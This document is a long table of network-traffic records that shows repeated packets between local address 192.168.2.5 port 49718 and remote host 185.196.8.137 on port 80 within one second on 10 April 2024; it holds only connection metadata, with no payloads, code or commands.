Apr 10, 2024 10:24:12.050964117 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051026106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051026106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051026106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051090002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051090002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051456928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051456928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051456928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051456928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051619053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051619053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051619053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051778078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051778078 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.051887989 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052025080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052025080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052025080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052025080 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052740097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052768946 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052846909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052846909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052889109 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052890062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.052925110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053050995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053050995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053050995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053050995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053050995 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053114891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053114891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053114891 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053134918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053170919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053273916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053273916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053273916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053273916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053273916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053385019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053385019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053385019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053385019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053385019 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053410053 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053503036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053503036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053503990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053503990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053503990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053523064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053630114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053630114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053630114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053630114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053630114 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053731918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053731918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053731918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053731918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053731918 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053834915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053834915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053834915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053834915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053834915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053937912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053937912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053937912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053937912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.053937912 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054037094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054037094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054037094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054038048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054038048 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054058075 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054110050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054110050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054132938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054132938 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054250956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054250956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054250956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054250956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054250956 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054349899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054349899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054349899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054349899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054349899 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054418087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054418087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054418087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054435968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054653883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054653883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054653883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054653883 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054759979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054760933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054760933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.054760933 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.059865952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.059865952 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.059901953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.060045958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.060045958 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.060053110 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.060085058 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.060113907 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.060159922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.060159922 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.060209990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062469959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062469959 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062649012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062649012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062649012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062649012 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062750101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062750101 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062820911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062820911 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062896013 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062912941 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.062952042 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.068973064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.068973064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.068973064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.068973064 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069072008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069072008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069072008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069072008 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069199085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069199085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069199085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069199085 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069315910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069315910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069315910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069315910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069401979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069401979 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069493055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069493055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069638968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069638968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069638968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069638968 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069709063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069709063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069709063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069756985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069756985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.069787025 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070127010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070127010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070127010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070127010 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070152044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070214987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070214987 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070241928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070241928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070291996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070291996 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070348978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070348978 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070398092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070398092 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070442915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070442915 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070456028 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070564985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070564985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070564985 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070565939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070565939 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070594072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070604086 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070683002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070683002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070683002 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070733070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070733070 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070785046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070785046 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070804119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070892096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070892096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070892096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070892096 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070972919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070972919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070972919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070972919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.070987940 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071114063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071114063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071114063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071114063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071114063 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071139097 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071191072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071191072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071191072 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071225882 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071331024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071331024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071331024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071331024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071331024 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071379900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071379900 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071408033 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071471930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071471930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071471930 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071492910 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071521044 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071624041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071624994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071624994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071624994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071624994 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071691036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071691036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071691036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071755886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071755886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071755886 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071769953 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071834087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071834087 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071847916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071901083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071901083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071901083 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071999073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071999073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071999073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.071999073 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072077990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072077990 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072078943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072113037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072113037 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072166920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072166920 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072168112 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072201014 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072221041 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072458029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072458029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072458029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072458029 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072520018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072520018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072520018 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072658062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072658062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072658062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072658062 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072684050 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072727919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072727919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072822094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072822094 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072850943 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072899103 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.072931051 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073090076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073090076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073090076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073090076 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073152065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073152065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073152065 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073182106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073182106 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073206902 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073535919 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073537111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073537111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073537111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073636055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073636055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073636055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073636055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073636055 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073657036 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073753119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073753119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073753119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073753119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073753119 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073856115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073856115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073856115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073856115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073856115 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073879004 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073899031 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073961020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073961020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073961020 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.073980093 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074002981 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074024916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074024916 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074134111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074134111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074134111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074134111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074134111 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074230909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074230909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074230909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074230909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074230909 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074331999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074331999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074331999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074331999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074331999 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074384928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074384928 CEST	49718	80	192.168.2.5	185.196.8.137
Apr 10, 2024 10:24:12.074384928 CEST	49718	80	192.168.2.5	185.196.8.137
